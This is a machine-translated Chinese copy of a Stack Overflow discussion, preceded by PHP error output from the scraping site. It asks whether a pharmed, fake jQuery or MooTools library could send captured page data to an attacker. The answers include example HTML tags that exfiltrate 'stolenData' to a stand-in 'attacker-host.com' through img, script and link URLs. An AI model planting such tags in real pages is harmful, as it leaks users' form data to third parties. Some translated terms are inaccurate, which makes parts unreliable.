Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/jquery/70.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/7/sqlite/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 模拟jQuery或MooTools库(例如,通过pharming)可以捕获数据并将其发送到外部站点?_Javascript_Jquery_Mootools_Security - Fatal编程技术网

Javascript 模拟jQuery或MooTools库(例如,通过pharming)可以捕获数据并将其发送到外部站点?

Javascript 模拟jQuery或MooTools库(例如,通过pharming)可以捕获数据并将其发送到外部站点?,javascript,jquery,mootools,security,Javascript,Jquery,Mootools,Security,为了使用最新版本,从外部基础站点调用jQuery、YUI、MooTools框架(以及许多插件)是一种新的方式 在pharming攻击中(仅举一例),原始库可以被感染的库替换,以便使用它操纵库、浏览器或插件的行为。使用这些库很容易捕获表单数据、查询字符串和其他信息。发送它也很容易 所以我的问题是: 攻击者是否也可以将捕获的数据发送到从中获得假库的同一个仿制pharming的主机 浏览器中有跨站点JavaScript策略,但在这种情况下是否有效?请记住,伪库将从同一模拟主机加载,也将从受感染的页面加

为了使用最新版本,从外部基础站点调用jQuery、YUI、MooTools框架(以及许多插件)是一种新的方式

在pharming攻击中(仅举一例),原始库可以被感染的库替换,以便使用它操纵库、浏览器或插件的行为。使用这些库很容易捕获表单数据、查询字符串和其他信息。发送它也很容易

所以我的问题是:

攻击者是否也可以将捕获的数据发送到从中获得假库的同一个仿制pharming的主机

浏览器中有跨站点JavaScript策略,但在这种情况下是否有效?请记住,伪库将从同一模拟主机加载,也将从受感染的页面加载,因此不需要调用跨站点DOM对象或函数


非常感谢

那么,您应该考虑一下javascript将数据传输到另一个站点的方式:
-ajax
-帧
-将外部URL附加到dom对象
-网袋

在前两种情况下,尽管存在一些黑客攻击,但由于存在漏洞,不可能将数据从一个站点传输到另一个承载在不同(子)域或使用不同协议的站点。即使主机被“欺骗”所“毒害”,也不意味着它将指向同一个域。
很容易访问外部URL并向其发送任何GET数据,只需将该URL附加到需要以下内容的dom元素:

//... 等等
如果攻击者实施webSocket数据发送器,并且您使用现代浏览器,则数据交换可能会起作用

总之,这是可以做到的,尽管它不太可能破坏DNS并以用户无法识别的方式修改js LIB


编辑:添加了最简单的解决方案:dom对象

如果我没有弄错您的问题:使用img/script/link标记,数据可以跨域发送回模拟主机。可以发送的数据量有限制。请你再澄清一下你的问题好吗?Google analytics是一个可以发送信息的例子(URL、查询字符串、dom对象访问)。我相信跨站点策略不允许从不同域或子域的页面中获取一个页面中的对象或函数的信息,但是这些信息来自调用js库的同一页面。我错了吗?有趣的想法。我的建议:使用您自己的cdn或伪cdn类域-不太可能被劫持为针对amazons3或google等流行cdn主机的一般攻击的一部分。您可以始终使用script/img/link标记发出不受同源策略限制的请求。正如我前面提到的,唯一的限制因素是发送的数据的大小,因为数据必须附加到脚本/img/link标记的URL。@Lior Cohen:这是可能的@gion_13:Google analytics就是一个可以发送信息(URL、查询字符串、dom项目访问)的例子。我错了吗?你们是对的。。。我完全忘记了如何通过普通的dom对象访问外部url <a href="http://attacker-host.com/?stolenData=stolenData"></a> <img src="http://attacker-host.com/?stolenData=stolenData" /> <script src="http://attacker-host.com/?stolenData=stolenData"></script> <link href="http://attacker-host.com/?stolenData=stolenData" /> //... and so on